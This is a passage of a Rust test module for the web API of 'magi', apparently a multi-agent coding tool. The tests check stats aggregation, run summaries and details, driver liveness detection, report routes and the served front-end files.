12129 touches: Vec::new(),
12130 why_not_naive: "breaks under load".to_owned(),
12131 }),
12132 error: None,
12133 duration_ms: 0,
12134 reflection: Reflection::Strong,
12135 },
12136 AdvisorRecord {
12137 seat: "advisor-2".to_owned(),
12138 agent: "alpha".to_owned(),
12139 proposal: None,
12140 error: Some("timed out".to_owned()),
12141 duration_ms: 0,
12142 reflection: Reflection::Absent,
12143 },
12144 ],
12145 synthesis: Some("blended brief".to_owned()),
12146 });
12147 let dir = f.runs().join(&state.id);
12148 std::fs::create_dir_all(&dir).expect("run dir");
12149 std::fs::write(
12150 dir.join("run.json"),
12151 serde_json::to_string_pretty(&state).expect("serialize run"),
12152 )
12153 .expect("write run.json");
12154
12155 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12157 let alpha = advisors
12158 .as_array()
12159 .expect("an array")
12160 .iter()
12161 .find(|a| a["agent"] == "alpha")
12162 .expect("alpha row");
12163 assert_eq!(alpha["seated"], 2);
12164 assert_eq!(alpha["proposed"], 1);
12165 assert_eq!(alpha["absent"], 1);
12166 assert_eq!(alpha["strong"], 1);
12167 assert_eq!(alpha["faint"], 0);
12168 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12169 }
12170
12171 #[tokio::test]
12172 async fn stats_hides_agents_outside_the_roster_unless_all() {
12173 use crate::run::Candidate;
12174 let repo = TempDir::new().expect("repo dir");
12175 std::fs::write(
12176 repo.path().join("magi.toml"),
12177 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12178 )
12179 .expect("magi.toml");
12180 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12181 let mut state = RunState::new(
12182 PathBuf::from("/repo/magi"),
12183 "main".to_owned(),
12184 "0123456789abcdef".to_owned(),
12185 "task".to_owned(),
12186 Config::default(),
12187 );
12188 state.id = "20260902-140501-a".to_owned();
12189 state.status = RunStatus::Merged;
12190 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12191 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12192 "index": 0, "label": label.to_string(), "agent": agent,
12193 "branch": "b", "worktree": "/w",
12194 }))
12195 .expect("candidate");
12196 c.label = label;
12197 state.candidates.push(c);
12198 }
12199 let dir = f.runs().join(&state.id);
12200 std::fs::create_dir_all(&dir).expect("run dir");
12201 std::fs::write(
12202 dir.join("run.json"),
12203 serde_json::to_string_pretty(&state).expect("serialize run"),
12204 )
12205 .expect("write run.json");
12206
12207 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12208 v["agents"]
12209 .as_array()
12210 .expect("array")
12211 .iter()
12212 .map(|a| a["agent"].as_str().unwrap().to_owned())
12213 .collect()
12214 };
12215 let hidden = f.get("/api/stats").await.json();
12216 assert_eq!(agents_of(&hidden), ["keep"]);
12217 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12218 assert_eq!(hidden["totals"]["runs"], 1);
12219
12220 let all = f.get("/api/stats?all=true").await.json();
12221 assert_eq!(agents_of(&all).len(), 2);
12222 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12223 }
12224
12225 #[tokio::test]
12226 async fn stats_release_bumps_split_clean_from_attention() {
12227 use crate::run::ReleaseBump;
12228
12229 let f = Fixture::start().await;
12230
12231 let mut clean = RunState::new(
12232 PathBuf::from("/repo/magi"),
12233 "main".to_owned(),
12234 "0123456789abcdef".to_owned(),
12235 "task".to_owned(),
12236 Config::default(),
12237 );
12238 clean.id = "20260902-140501-a".to_owned();
12239 clean.status = RunStatus::Merged;
12240 clean.release_bump = Some(ReleaseBump {
12241 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12242 version: Some("1.0.0".to_owned()),
12243 automerge_enabled: true,
12244 merged_directly: false,
12245 local: false,
12246 release: None,
12247 problem: None,
12248 action_required: None,
12249 });
12250
12251 let mut blocked = RunState::new(
12252 PathBuf::from("/repo/magi"),
12253 "main".to_owned(),
12254 "0123456789abcdef".to_owned(),
12255 "task".to_owned(),
12256 Config::default(),
12257 );
12258 blocked.id = "20260902-140502-b".to_owned();
12259 blocked.status = RunStatus::Merged;
12260 blocked.release_bump = Some(ReleaseBump {
12261 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12262 version: Some("1.0.1".to_owned()),
12263 automerge_enabled: false,
12264 merged_directly: false,
12265 local: false,
12266 release: None,
12267 problem: Some("checks red".to_owned()),
12268 action_required: Some("look at the PR".to_owned()),
12269 });
12270
12271 for state in [&clean, &blocked] {
12272 let dir = f.runs().join(&state.id);
12273 std::fs::create_dir_all(&dir).expect("run dir");
12274 std::fs::write(
12275 dir.join("run.json"),
12276 serde_json::to_string_pretty(state).expect("serialize run"),
12277 )
12278 .expect("write run.json");
12279 }
12280
12281 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12282 assert_eq!(bumps["merged"], 2);
12283 assert_eq!(bumps["recorded"], 2);
12284 assert_eq!(bumps["pr_opened"], 2);
12285 assert_eq!(bumps["automerge_enabled"], 1);
12286 assert_eq!(bumps["needs_attention"], 1);
12287 assert_eq!(bumps["clean"], 1);
12288 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12289 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12290 }
12291
12292 #[tokio::test]
12293 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12294 let f = Fixture::start().await;
12295 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12296
12297 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12298 assert_eq!(bumps["merged"], 1);
12299 assert_eq!(bumps["recorded"], 0);
12300 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12303 assert_eq!(bumps["automerge_rate"], Value::Null);
12306 assert_eq!(bumps["attention_rate"], Value::Null);
12307 }
12308
12309 #[tokio::test]
12310 async fn stats_queue_counts_come_from_the_live_queue() {
12311 let f = Fixture::start().await;
12312 let q = f.queue();
12313 let mut queued = Task::new(
12314 "queued task".to_owned(),
12315 "do it".to_owned(),
12316 PathBuf::from("/repo"),
12317 Source::Human,
12318 );
12319 q.put(&mut queued).expect("put queued");
12320 let mut held = Task::new(
12321 "held task".to_owned(),
12322 "do it later".to_owned(),
12323 PathBuf::from("/repo"),
12324 Source::Human,
12325 );
12326 held.hold_machine(Some("out of attempts".to_owned()));
12327 q.put(&mut held).expect("put held");
12328
12329 let queue = f.get("/api/stats").await.json()["queue"].clone();
12330 assert_eq!(queue["queued"], 1);
12331 assert_eq!(queue["held"], 1);
12332 assert_eq!(queue["running"], 0);
12333 assert_eq!(queue["done"], 0);
12334 assert_eq!(queue["failed"], 0);
12335 assert_eq!(queue["blocked"], 0);
12336 }
12337
12338 #[tokio::test]
12339 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12340 let f = Fixture::start().await;
12341 let stats = f.get("/api/stats").await;
12342 assert_eq!(stats.status, 200);
12343 assert_eq!(stats.json()["totals"]["runs"], 0);
12344 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12345 assert_eq!(stats.json()["runs_unreadable"], 0);
12346 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12347 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12348 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12349 assert_eq!(stats.json()["repo"], Value::Null);
12350 }
12351
12352 #[tokio::test]
12353 async fn stats_lists_every_repository_with_runs_recorded() {
12354 let f = Fixture::start().await;
12355 write_run_repo(
12356 &f.runs(),
12357 "20260902-140501-a",
12358 RunStatus::Merged,
12359 "/repos/a",
12360 );
12361 write_run_repo(
12362 &f.runs(),
12363 "20260902-140502-b",
12364 RunStatus::Merged,
12365 "/repos/a",
12366 );
12367 write_run_repo(
12368 &f.runs(),
12369 "20260902-140503-c",
12370 RunStatus::Blocked,
12371 "/repos/b",
12372 );
12373
12374 let stats = f.get("/api/stats").await;
12375 assert_eq!(stats.status, 200);
12376 assert_eq!(stats.json()["totals"]["runs"], 3);
12378 assert_eq!(stats.json()["repo"], Value::Null);
12379
12380 let repos = stats.json()["repos"].clone();
12381 let repos = repos.as_array().unwrap();
12382 assert_eq!(repos.len(), 2);
12383 assert_eq!(repos[0]["repo"], "/repos/a");
12385 assert_eq!(repos[0]["name"], "a");
12386 assert_eq!(repos[0]["runs"], 2);
12387 assert_eq!(repos[1]["repo"], "/repos/b");
12388 assert_eq!(repos[1]["runs"], 1);
12389 }
12390
12391 #[tokio::test]
12392 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12393 let f = Fixture::start().await;
12394 write_run_repo(
12395 &f.runs(),
12396 "20260902-140501-a",
12397 RunStatus::Merged,
12398 "/repos/a",
12399 );
12400 write_run_repo(
12401 &f.runs(),
12402 "20260902-140502-b",
12403 RunStatus::Blocked,
12404 "/repos/b",
12405 );
12406
12407 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12408 assert_eq!(stats.status, 200);
12409 assert_eq!(stats.json()["totals"]["runs"], 1);
12410 assert_eq!(stats.json()["totals"]["merged"], 1);
12411 assert_eq!(stats.json()["repo"], "/repos/a");
12412 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12415 assert_eq!(stats.json()["runs_unreadable"], 0);
12418 }
12419
12420 #[tokio::test]
12421 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12422 let f = Fixture::start().await;
12423 write_run_repo(
12424 &f.runs(),
12425 "20260902-140501-a",
12426 RunStatus::Merged,
12427 "/repos/a",
12428 );
12429 write_run_repo(
12430 &f.runs(),
12431 "20260902-140502-b",
12432 RunStatus::Merged,
12433 "/repos/b",
12434 );
12435
12436 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12437 let json = f.get(uri).await.json();
12438 let daily = json["daily"].as_array().expect("daily is an array");
12439 assert_eq!(daily.len(), 30);
12440 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12441 let mut sorted = dates.clone();
12442 sorted.sort();
12443 assert_eq!(dates, sorted);
12444 for d in daily {
12445 assert_eq!(
12446 d["merged"].as_u64().unwrap()
12447 + d["ready"].as_u64().unwrap()
12448 + d["other"].as_u64().unwrap(),
12449 d["runs"].as_u64().unwrap()
12450 );
12451 }
12452 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12453 }
12454 }
12455
12456 #[tokio::test]
12457 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12458 let f = Fixture::start().await;
12459 write_run_repo(
12460 &f.runs(),
12461 "20260902-140501-a",
12462 RunStatus::Merged,
12463 "/repos/a",
12464 );
12465
12466 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12467 assert_eq!(stats.status, 404);
12468 }
12469
12470 #[tokio::test]
12471 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12472 let f = Fixture::start().await;
12473 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12474
12475 let summary = f.get("/api/runs").await.json();
12476 let row = &summary[0];
12477 assert_eq!(row["short"], "a1b2");
12478 assert_eq!(row["status"], "ready");
12479 assert_eq!(row["done"], true);
12480 assert_eq!(row["title"], "Add a web UI");
12481 assert_eq!(row["repo_name"], "magi");
12482 assert_eq!(row["judges"], 3);
12483 assert_eq!(row["winner"], Value::Null);
12484 assert_eq!(row["reviews"], 0);
12485
12486 let detail = f.get("/api/runs/a1b2").await;
12489 assert_eq!(detail.status, 200);
12490 assert_eq!(detail.json()["base_branch"], "main");
12491 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12492 }
12493
12494 #[tokio::test]
12502 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12503 let f = Fixture::start().await;
12504
12505 let mut none_run = RunState::new(
12506 PathBuf::from("/repo/magi"),
12507 "main".to_owned(),
12508 "0123456789abcdef".to_owned(),
12509 "Add a web UI".to_owned(),
12510 Config::default(),
12511 );
12512 none_run.id = "20260902-140503-none".to_owned();
12513 none_run.status = RunStatus::Ready;
12514 none_run.merge = Some(crate::run::MergeOutcome {
12515 mode: crate::config::MergeMode::None,
12516 ok: true,
12517 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12518 empty: false,
12519 });
12520 write_state(&f.runs(), &none_run);
12521
12522 let mut pr_run = RunState::new(
12523 PathBuf::from("/repo/magi"),
12524 "main".to_owned(),
12525 "0123456789abcdef".to_owned(),
12526 "Add a web UI".to_owned(),
12527 Config::default(),
12528 );
12529 pr_run.id = "20260902-140504-prcl".to_owned();
12530 pr_run.status = RunStatus::Ready;
12531 pr_run.merge = Some(crate::run::MergeOutcome {
12532 mode: crate::config::MergeMode::Pr,
12533 ok: false,
12534 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12535 empty: false,
12536 });
12537 write_state(&f.runs(), &pr_run);
12538
12539 let summary = f.get("/api/runs").await.json();
12540 let rows: std::collections::HashMap<&str, &Value> = summary
12541 .as_array()
12542 .expect("an array")
12543 .iter()
12544 .map(|r| (r["id"].as_str().expect("an id"), r))
12545 .collect();
12546 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12547 assert_eq!(
12548 rows[none_run.id.as_str()]["unmerged_by_design"],
12549 true,
12550 "a mode-none Ready must be flagged in the list"
12551 );
12552 assert_eq!(
12553 rows[pr_run.id.as_str()]["unmerged_by_design"],
12554 false,
12555 "a Ready reached by a closed pull request is a different case"
12556 );
12557
12558 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12559 assert_eq!(none_detail["status"], "ready");
12560 assert_eq!(none_detail["unmerged_by_design"], true);
12561
12562 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12563 assert_eq!(pr_detail["unmerged_by_design"], false);
12564 }
12565
12566 #[tokio::test]
12571 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12572 let f = Fixture::start().await;
12573 let id = "20260902-140502-bbbb";
12577 let mut state = RunState::new(
12578 PathBuf::from("/repo/magi"),
12579 "main".to_owned(),
12580 "0123456789abcdef".to_owned(),
12581 "Add a web UI".to_owned(),
12582 Config::default(),
12583 );
12584 state.id = id.to_owned();
12585 state.status = RunStatus::Judging;
12586 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12587 let dir = f.runs().join(id);
12588 std::fs::create_dir_all(&dir).expect("run dir");
12589 std::fs::write(
12590 dir.join("run.json"),
12591 serde_json::to_string_pretty(&state).expect("serialize run"),
12592 )
12593 .expect("write run.json");
12594
12595 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12601 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12602 assert_eq!(cold["live"], "unknown", "{cold}");
12603
12604 write_daemon(f.home.path(), Timestamp::now());
12607 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12608 assert_eq!(warm["live"], "live", "{warm}");
12609 }
12610
12611 #[tokio::test]
12614 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12615 let f = Fixture::start().await;
12616 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12617 let mut state = RunState::new(
12618 PathBuf::from("/repo/magi"),
12619 "main".to_owned(),
12620 "0123456789abcdef".to_owned(),
12621 "Add a web UI".to_owned(),
12622 Config::default(),
12623 );
12624 state.id = id.to_owned();
12625 state.origin = origin;
12626 let mut value = serde_json::to_value(&state).expect("serialize run");
12627 if let Some(schema) = schema {
12628 value["schema"] = serde_json::json!(schema);
12629 value.as_object_mut().unwrap().remove("origin");
12630 }
12631 let dir = f.runs().join(id);
12632 std::fs::create_dir_all(&dir).expect("run dir");
12633 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12634 };
12635 write(
12636 "20260930-092817-ec34",
12637 Some(crate::run::Origin::from_agent_env(
12638 Some(("4a7b".to_owned(), "chat".to_owned())),
12639 None,
12640 )),
12641 None,
12642 );
12643 write("20260930-092817-0ld1", None, Some(12));
12644
12645 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12646 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12647 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12648
12649 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12650 assert_eq!(
12651 old["origin_label"], "origin unknown (started before origins were recorded)",
12652 "{old}"
12653 );
12654 assert!(old["origin"].is_null(), "{old}");
12655
12656 let list = f.get("/api/runs").await.json();
12657 let labels: Vec<_> = list
12658 .as_array()
12659 .unwrap()
12660 .iter()
12661 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12662 .collect();
12663 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12664 }
12665
12666 #[tokio::test]
12673 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12674 let f = Fixture::start().await;
12675 let id = "20260922-090000-cccc";
12676 let mut state = RunState::new(
12677 PathBuf::from("/repo/magi"),
12678 "main".to_owned(),
12679 "0123456789abcdef".to_owned(),
12680 "Review only".to_owned(),
12681 Config::default(),
12682 );
12683 state.id = id.to_owned();
12684 state.status = RunStatus::Reviewing;
12685 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12686 state.driver_pid = Some(std::process::id());
12692 state.driver_started_at = Some(
12693 crate::proc::process_started_at(std::process::id())
12694 .expect("this test process's own start time must be queryable"),
12695 );
12696 let dir = f.runs().join(id);
12697 std::fs::create_dir_all(&dir).expect("run dir");
12698 std::fs::write(
12699 dir.join("run.json"),
12700 serde_json::to_string_pretty(&state).expect("serialize run"),
12701 )
12702 .expect("write run.json");
12703
12704 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12705 assert_eq!(detail["live"], "live", "{detail}");
12706 }
12707
12708 #[tokio::test]
12714 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12715 let f = Fixture::start().await;
12716 let id = "20260922-090100-dddd";
12717 let mut state = RunState::new(
12718 PathBuf::from("/repo/magi"),
12719 "main".to_owned(),
12720 "0123456789abcdef".to_owned(),
12721 "Review only".to_owned(),
12722 Config::default(),
12723 );
12724 state.id = id.to_owned();
12725 state.status = RunStatus::Reviewing;
12726 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12727 state.driver_pid = Some(std::process::id());
12732 state.driver_started_at = Some("1".to_owned());
12733 let dir = f.runs().join(id);
12734 std::fs::create_dir_all(&dir).expect("run dir");
12735 std::fs::write(
12736 dir.join("run.json"),
12737 serde_json::to_string_pretty(&state).expect("serialize run"),
12738 )
12739 .expect("write run.json");
12740
12741 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12742 assert_eq!(detail["live"], "dead", "{detail}");
12743 }
12744
12745 #[test]
12749 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12750 let mk = |id: &str, pid: Option<u32>| {
12751 let mut s = RunState::new(
12752 PathBuf::from("/repo/magi"),
12753 "main".to_owned(),
12754 "0123456789abcdef".to_owned(),
12755 "Add a web UI".to_owned(),
12756 Config::default(),
12757 );
12758 s.id = id.to_owned();
12759 s.driver_pid = pid;
12760 s.driver_started_at = Some("1790000000".to_owned());
12761 s
12762 };
12763 let states = vec![
12764 mk("20260902-140502-aaaa", Some(77)),
12765 mk("20260902-140502-bbbb", Some(77)),
12766 mk("20260902-140502-cccc", Some(77)),
12767 mk("20260902-140502-dddd", None),
12768 ];
12769 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12770 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12771 let sup: HashMap<String, String> = [(
12772 "20260902-140502-aaaa".to_owned(),
12773 "20260902-140502-cccc".to_owned(),
12774 )]
12775 .into();
12776
12777 let status_calls = std::cell::Cell::new(0);
12778 let identity_calls = std::cell::Cell::new(0);
12779 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12780 |_| {
12781 status_calls.set(status_calls.get() + 1);
12782 Some(true)
12783 },
12784 |_| {
12785 identity_calls.set(identity_calls.get() + 1);
12786 Some("1790000000".to_owned())
12787 },
12788 ));
12789 let rows = summarize(
12790 states,
12791 &open,
12792 &claimed,
12793 &sup,
12794 |p| probe.borrow_mut().status(p),
12795 |p| probe.borrow_mut().started_at(p),
12796 );
12797
12798 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12799 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12800 assert_eq!(rows.len(), 4);
12801 assert!(!rows[0].waiting && rows[1].waiting);
12802 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12803 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12804 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12805 assert_eq!(rows[1].superseded_by, None);
12806 }
12807
12808 #[test]
12809 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12810 let mut state = RunState::new(
12811 PathBuf::from("/repo/magi"),
12812 "main".to_owned(),
12813 "0123456789abcdef".to_owned(),
12814 "Review only".to_owned(),
12815 Config::default(),
12816 );
12817 state.id = "20260922-090200-dead".to_owned();
12818 state.status = RunStatus::Reviewing;
12819 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12820 .expect("serialize list row");
12821 assert_eq!(row["status"], "reviewing");
12822 assert_eq!(row["live"], "dead", "{row}");
12823 assert!(!row["done"].as_bool().unwrap());
12824 }
12825
12826 #[tokio::test]
12827 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12828 let f = Fixture::start().await;
12829 for id in [
12830 "20260902-140501-aaaa",
12831 "20260902-140502-bbbb",
12832 "20260902-140503-cccc",
12833 ] {
12834 write_run(&f.runs(), id, RunStatus::Merged);
12835 }
12836
12837 let all = f.get("/api/runs").await.json();
12838 let capped = f.get("/api/runs?limit=2").await.json();
12839
12840 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12841 assert_eq!(all.as_array().map(Vec::len), Some(3));
12842 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12843 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12844 }
12845
12846 #[tokio::test]
12847 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12848 let f = Fixture::start().await;
12849 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12850
12851 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12852
12853 assert_eq!(res.status, 200);
12854 assert!(
12855 res.headers
12856 .contains("content-type: text/plain; charset=utf-8"),
12857 "a browser must render it, not download it: {}",
12858 res.headers
12859 );
12860 assert!(
12864 res.body.contains("20260902-140501-a1b2"),
12865 "the report is about the run that was asked for: {}",
12866 res.body
12867 );
12868 }
12869
12870 #[tokio::test]
12871 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12872 crate::run::pin_test_home();
12874 let f = Fixture::start().await;
12875 let id = "20260902-140501-a1b2";
12876 write_run(&f.runs(), id, RunStatus::Stalled);
12877 let path = f.runs().join(id).join("run.json");
12880 let mut v: serde_json::Value =
12881 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12882 v["tally"] = serde_json::json!({
12883 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12884 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12885 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12886 "met_quorum": false, "rankings": 1
12887 });
12888 v["reviews"] = serde_json::json!([{
12889 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12890 "e2e_deferred": true,
12891 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12892 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12893 ]}]
12894 }]);
12895 std::fs::write(&path, v.to_string()).unwrap();
12896 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12897 std::fs::write(
12898 f.runs().join("20260902-140502-dead").join("run.json"),
12899 "{not json",
12900 )
12901 .unwrap();
12902
12903 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12904
12905 assert_eq!(res.status, 200, "{}", res.body);
12906 assert!(res.headers.contains("content-type: application/json"));
12907 let j = res.json();
12908 assert_eq!(j["schema"], 1);
12909 assert_eq!(j["header"]["id"], id);
12910 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12911 let kinds: Vec<&str> = j["sections"]
12912 .as_array()
12913 .unwrap()
12914 .iter()
12915 .map(|s| s["kind"].as_str().unwrap())
12916 .collect();
12917 assert_eq!(kinds, ["candidates", "tally", "review"]);
12918 let tally = &j["sections"][1]["tally"];
12919 assert_eq!(
12920 (tally["decided"].clone(), tally["provisional"].clone()),
12921 (false.into(), true.into())
12922 );
12923 let round = &j["sections"][2]["rounds"][0];
12924 assert_eq!(round["e2e"]["state"], "deferred");
12925 assert_eq!(round["findings"][0]["severity"], "major");
12926 assert_eq!(round["findings"][0]["blocking"], true);
12927 assert_eq!(round["findings"][0]["state"], "open");
12928
12929 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12931
12932 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12934 assert_ne!(bad.status, 200, "{}", bad.body);
12935 assert_eq!(
12936 bad.status,
12937 f.get("/api/runs/20260902-140502-dead/report").await.status
12938 );
12939 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12940 assert_eq!(
12941 f.get("/api/runs/20260902-999999-ffff/report.json")
12942 .await
12943 .status,
12944 404
12945 );
12946 }
12947
12948 #[tokio::test]
12949 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12950 let f = Fixture::start().await;
12951
12952 let html = f.get("/").await;
12953 let css = f.get("/app.css").await;
12954 let js = f.get("/app.js").await;
12955
12956 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12957 assert!(
12958 html.headers
12959 .contains("content-type: text/html; charset=utf-8")
12960 );
12961 assert!(css.headers.contains("content-type: text/css"));
12962 assert!(js.headers.contains("content-type: text/javascript"));
12963 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12964 }
12965
12966 #[test]
12967 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12968 let body = |name: &str| {
12969 let at = APP_JS
12970 .find(name)
12971 .unwrap_or_else(|| panic!("{name} missing"));
12972 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12973 };
12974 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12975 let note = body("function landRoundNote");
12976 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12977 assert!(note.contains("Land round ${round}"));
12978 let land = body("function renderLand");
12979 let note_at = land
12980 .find("landRoundNote(pr)")
12981 .expect("renderLand uses the note");
12982 assert!(
12983 note_at
12984 < land
12985 .find("roundRail(pr)")
12986 .expect("renderLand uses the rail")
12987 );
12988 }
12989
12990 #[test]
12991 fn the_runs_page_redesign_keeps_its_guards() {
12992 let body = |name: &str| {
12993 let at = APP_JS
12994 .find(name)
12995 .unwrap_or_else(|| panic!("{name} missing"));
12996 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12997 };
12998 let land = body("function renderLand");
13000 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13001 assert!(
13002 !land.contains("box.append("),
13003 "renderLand must use append()"
13004 );
13005 assert!(land.contains("append(box, ["));
13006 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13008 assert!(
13009 body("function applyRoute")
13010 .contains("route.name !== state.route.name || route.id !== state.route.id")
13011 );
13012 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13014 assert!(!INDEX_HTML.contains("advise-converge"));
13015 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13016 assert!(APP_JS.contains("provisional"));
13017 for id in [
13018 "run-tab-overview",
13019 "run-tab-timeline",
13020 "run-tab-report",
13021 "run-report",
13022 "runs-scope",
13023 ] {
13024 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13025 }
13026 assert!(!INDEX_HTML.contains("runs-tree"));
13027 assert!(!INDEX_HTML.contains("run-raw-panel"));
13028 assert!(APP_JS.contains("resume"));
13030 assert!(APP_JS.contains("unreadable"));
13032 }
13033
13034 #[test]
13035 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13036 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13037 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13038 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13039 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13040 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13041 assert!(APP_JS.contains("unreadable` : null"));
13043 }
13044
13045 #[test]
13046 fn the_run_detail_payload_says_whether_the_run_is_done() {
13047 for (status, done) in [
13049 (RunStatus::Superseded, true),
13050 (RunStatus::Blocked, true),
13051 (RunStatus::Landing, false),
13052 ] {
13053 let mut state = RunState::new(
13054 std::path::PathBuf::from("/repo"),
13055 "main".to_owned(),
13056 "abc".to_owned(),
13057 "x".to_owned(),
13058 crate::config::Config::default(),
13059 );
13060 state.status = status;
13061 let v = serde_json::to_value(RunDetailView::of(
13062 state,
13063 crate::run::Liveness::Unknown,
13064 None,
13065 None,
13066 None,
13067 ))
13068 .unwrap();
13069 assert_eq!(v["done"], done, "{status:?}");
13070 }
13071 }
13072
13073 fn has_strong(nodes: &[md::Node]) -> bool {
13075 serde_json::to_string(nodes).unwrap().contains("strong")
13076 }
13077
13078 #[test]
13079 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13080 let mut state = RunState::new(
13081 std::path::PathBuf::from("/repo"),
13082 "main".to_owned(),
13083 "abc".to_owned(),
13084 "x".to_owned(),
13085 crate::config::Config::default(),
13086 );
